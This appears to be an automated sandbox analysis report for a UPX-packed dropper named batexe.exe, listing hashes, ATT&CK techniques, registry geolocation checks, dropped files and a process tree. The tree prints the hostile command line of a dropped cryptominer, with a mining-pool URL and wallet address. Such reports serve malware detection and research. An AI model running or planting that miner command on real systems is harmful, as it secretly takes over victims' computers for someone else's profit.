73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 15:03

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4320	b2e.exe
3956	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2428-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 4320	2428	batexe.exe	84
PID 2428 wrote to memory of 4320	2428	batexe.exe	84
PID 2428 wrote to memory of 4320	2428	batexe.exe	84
PID 4320 wrote to memory of 2104	4320	b2e.exe	85
PID 4320 wrote to memory of 2104	4320	b2e.exe	85
PID 4320 wrote to memory of 2104	4320	b2e.exe	85
PID 2104 wrote to memory of 3956	2104	cmd.exe	88
PID 2104 wrote to memory of 3956	2104	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6A62.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe

Filesize
8.9MB

MD5
7c9127736b7fac206117e5d6f0a1d97e

SHA1
34434a5b33d6b165c73d150991fe9c32bb5478e3

SHA256
9c8a5d5b94e15b75c6218c7ecd1d1b6d0f03011a2a735dbfd9f877c275c4b4f1

SHA512
0d78a5d7081cfb90eb6223845e04e552289e34155bfd53d2bfe4b2b2754bce03afdb0b54080d2951480aeaa649b13145b5700968c767a7ee63a6790edbe7432f

Download Submit
C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe

Filesize
2.9MB

MD5
dffc7b824b25d19791d46979fb5de0dc

SHA1
f08484f3b4049cbeeeac397b79227c17878528e4

SHA256
80f6f670f0d4e41940dfd405dbc6919c482c082b0d1e4b94b54c53369f26f9eb

SHA512
44d1c0358724bbcedf630e323b48497ce03fdec6cbcbc0db51f6d341144ea4f9d19741877fda602762f5d8f73639d4a30146342b8560fec68d1c72269703be42

Download Submit
C:\Users\Admin\AppData\Local\Temp\6736.tmp\b2e.exe

Filesize
2.8MB

MD5
767565c366e8a8f0bf50d2a4de356916

SHA1
616c75704aa9e640f9054a350a3da5bc5e21b5ea

SHA256
32348265114d9a51095f78d335e67cb0dccd6e1a900fc1100920a0f8a6c61406

SHA512
3bff7f9a6c0ef078ec8d7b4836c898bd9dd5309f16b7c765aa612c0d9b8e62325d1789f9008493635f637b9975982a1b4dada80ee408de8db8ae06331c303aff

Download Submit
C:\Users\Admin\AppData\Local\Temp\6A62.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
677KB

MD5
c977313c8766d3c2241b79ffc19765bb

SHA1
103953266e3893a355c6313c5b42e1c49cc7f665

SHA256
ab4c873cd02d1a9c4b67a3bd635a03a4ce65f5c09fb4f30e92ba1f8a6a11cab2

SHA512
84fa6af5a3c82c14a1c5c88f727f7a14798f97c85fb914410f207408fa885e20e8092a3313b721b42ceec4d724aae43d73d8bcb749741c7b8b5afe27342dbb64

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
042412b1df6763bbf47e66c5174869d8

SHA1
f6c071aa0e4bb3b0ed99e42a6d46e7a0db9f1502

SHA256
970a073ca1fef83ad473b06211c89dec3a4d17d1514b765fb262d3b0d0a01cfc

SHA512
ea7cce20ec93eb05dc3d517dea17641c6c62d638438e533a7854d93a4bdfb4f34970e45c251ddaab406599f7c87b4c67d66dc6f61881f47e2f4fc6f9385ff0ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
800KB

MD5
ad7e8a0b35e0b8623b1de2ffdff29088

SHA1
3d040300b7aa472c898aa26eda5ddcf0ecd1fa6d

SHA256
ea9649c1826022ca18b5aea4300b84d907530600e650b5a1b0ab4cd33d63efa4

SHA512
8bc142227beaaa13a71677e0f1bb80012032fa6f696b975e09a96671a1d17feb48b6b8a46c2733110a9c17ab793b6680c7c3c9d3b410656f0e8729d283804171

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
760KB

MD5
ba92721a0d985c68c9c2f9e9c67d4f6b

SHA1
df8342ce7441e12cec27dd7c67672ca90f4b7e03

SHA256
9bd5c0273569456521853a0d04d451c7b9c7149d12656fc68f893456496bb175

SHA512
566ce78f4dceceff9b3fde8fd5039e084d8cc6c3c10ab7bfc50b387cc18953e540baebdb9913f486538d5a3b1c3ffcbaa91249e52d2bf76ce7247af8238006b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
510KB

MD5
4ecbf49123f40b68b4f5dc35465d9135

SHA1
a96f303baa74c3ac584fdbec549cb67d1d60b789

SHA256
b7571d3f5859fe07737e3f2c56aca540cf33740002231a5e144b62bb644affeb

SHA512
48b21a4645152d2755f86c13c40116aefdb4f4a1b6f6cc84eedb403e283593d41d3fdb4b1febd60c881c1f1f5577d925ab568e9bc93f1a57bb0c0c853614f5a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
949KB

MD5
b78aacf47fa58c1c3b5585c1c6bbdf5a

SHA1
fe7f1a189f6b278b4f22aa0d898cfeed3fe3d6ef

SHA256
1706e7919b440842858865ecbaa875fc343c162c7f2a36de112ed4ee27e1d5d4

SHA512
dca6ff0cd63d6e328c7299800c9105fc1692dcf76e4ec59500e55bb7c5b01bbf1a7a49d6f5a1c23bfa13ee71072385d6cb5c993a0af3beffff617fa4e74739a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
896KB

MD5
4ece07a08273d0d0db84220926c3d32f

SHA1
d90712e2e643311a963676e87f6afad0c421d895

SHA256
d82c02350e5ca5ebe35d4349a16c3c9986aaecd8be71c05a00b1af09039a4cf3

SHA512
fa010b4c3c0e6d38bb281b4541c0e8b124e05d2feaa6dc11cb6e9c1d85145d5885a5cd61c1bca283f2d9f30295b197343311306acc9d5393aef64793067cdcab

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
434KB

MD5
471e31352694f1f37736519d3503ead1

SHA1
b7e29a6934697ed9cf78dcde07d4539fd0e596ac

SHA256
42a8c65e5982b319bd48d37ae6b91dda0661ba3cf36ac64044b0efdfb4649549

SHA512
86367a500f0dd5216541c98fecc5e5aa39bee05d71614820a85b1bde5d3f4bde4d0b47b02d6dffed8765067528b9da2342ac1b44b41a0dd478b326969a3ec3f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2428-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3956-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3956-45-0x00000000598A0000-0x0000000059938000-memory.dmp

Filesize
608KB

Download
memory/3956-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3956-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/3956-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4320-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4320-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download